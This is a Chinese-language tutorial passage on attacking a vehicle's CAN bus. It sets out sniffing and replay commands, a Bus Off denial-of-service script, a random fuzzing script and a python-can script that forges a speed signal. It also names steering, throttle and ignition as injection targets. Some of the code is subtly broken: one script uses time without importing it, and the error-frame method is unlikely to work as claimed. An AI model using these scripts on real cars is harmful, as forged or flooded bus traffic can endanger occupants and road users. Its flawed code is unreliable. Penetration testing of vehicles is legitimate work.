4、CAN总线攻击技术:从嗅探到注入的完整实战
大家好,我是老周。今天咱们聊聊CAN总线攻击。说实话,这是车载渗透测试里最核心、也最刺激的部分。你想想看,一辆车的灵魂就靠这两根线在跑——CAN High和CAN Low。掌握了CAN攻击,你就掌握了和ECU对话的钥匙。
我个人习惯把CAN攻击分成四个层次:先听、再干扰、然后乱试、最后精准打击。下面我一个一个讲。
4.1 CAN总线嗅探与重放攻击
嗅探,说白了就是偷听。CAN总线上的消息是广播的,所有节点都能收到。你只要接上两根线,就能看到所有ECU在聊什么。
抓包工具我常用两种:
- candump(Linux下SocketCAN自带)
- Wireshark(配合CAN接口)
先看个简单的嗅探命令:
# 启动CAN接口
sudo ip link set can0 up type can bitrate 500000
# 开始抓包
candump can0
抓到的数据长这样:
can0 123 [8] 01 02 03 04 05 06 07 08
can0 456 [4] A1 B2 C3 D4
格式解读:CAN ID + 数据长度 + 数据内容。嗯,这里要注意,CAN ID决定了消息的优先级,ID越小优先级越高。
重放攻击就更直接了——把抓到的包原样发回去。比如你抓到车窗升降的指令,重放一遍,车窗就动了。
# 重放一条消息
cansend can0 123#0102030405060708
4.2 CAN总线拒绝服务攻击(Bus Off攻击)
Bus Off攻击,说白了就是让ECU闭嘴。CAN协议有个错误处理机制:如果一个节点发送错误太多,它会自动进入Bus Off状态,不再参与通信。
攻击原理很简单:你持续发送错误帧,让目标ECU的错误计数器飙升。当发送错误计数超过255,它就自动离线了。
我常用的攻击方式有两种:
| 攻击类型 | 原理 | 效果 |
|---|---|---|
| 错误帧风暴 | 持续发送主动错误标志(6个显性位) | 目标ECU快速Bus Off |
| 位填充攻击 | 破坏位填充规则,强制产生错误 | 更隐蔽,但实现复杂 |
一个简单的Bus Off攻击脚本(Python + python-can):
import can
import time
bus = can.interface.Bus(channel='can0', bustype='socketcan')
# 持续发送错误帧
while True:
# 构造一个错误帧(主动错误标志)
msg = can.Message(
arbitration_id=0x000,
data=[0x00]*8,
is_error_frame=True
)
bus.send(msg)
time.sleep(0.001) # 1ms间隔
4.3 CAN总线模糊测试(Fuzzing)
模糊测试,就是乱发数据,看ECU会不会崩溃。你想想看,ECU的固件也是人写的,总有考虑不到的情况。Fuzzing就是专门找这些漏洞的。
我常用的Fuzzing策略:
- 随机数据Fuzzing: 随机生成CAN ID和数据内容
- 边界值Fuzzing: 针对特定ID,测试数据长度的边界(0字节、8字节)
- 协议字段Fuzzing: 修改DLC、RTR位等协议字段
一个简单的Fuzzing脚本:
import can
import random
bus = can.interface.Bus(channel='can0', bustype='socketcan')
# 随机Fuzzing
while True:
# 随机生成CAN ID(0x000-0x7FF)
arb_id = random.randint(0x000, 0x7FF)
# 随机生成数据(0-8字节)
data_len = random.randint(0, 8)
data = [random.randint(0x00, 0xFF) for _ in range(data_len)]
msg = can.Message(
arbitration_id=arb_id,
data=data,
is_extended_id=False
)
try:
bus.send(msg)
except can.CanError:
print(f"发送失败: ID=0x{arb_id:03X}")
# 随机间隔(1-100ms)
time.sleep(random.uniform(0.001, 0.1))
4.4 CAN总线注入攻击实战
注入攻击,就是有目的地发送伪造消息。和重放不同,注入攻击需要你理解消息的含义,然后构造自己的数据。
常见的注入场景:
- 车速注入: 伪造车速信号,欺骗仪表盘或ADAS系统
- 转向角注入: 伪造方向盘角度,干扰车道保持系统
- 发动机控制注入: 伪造油门或点火信号
举个例子,伪造车速信号:
import can
bus = can.interface.Bus(channel='can0', bustype='socketcan')
# 假设车速消息ID为0x1A0,数据格式:前2字节为车速(km/h * 100)
def inject_speed(speed_kmh):
speed_raw = int(speed_kmh * 100)
data = [
(speed_raw >> 8) & 0xFF, # 高字节
speed_raw & 0xFF, # 低字节
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
msg = can.Message(
arbitration_id=0x1A0,
data=data,
is_extended_id=False
)
bus.send(msg)
print(f"注入车速: {speed_kmh} km/h")
# 注入120km/h
inject_speed(120)
知识体系总览
下面这张图总结了CAN总线攻击的四个层次和它们之间的关系:
这四个技术是层层递进的。我个人建议初学者先从嗅探入手,把CAN总线的通信模式摸透了,再考虑后面的攻击。别一上来就搞注入,容易翻车。
公众号:蓝海资料掘金营,微信deep3321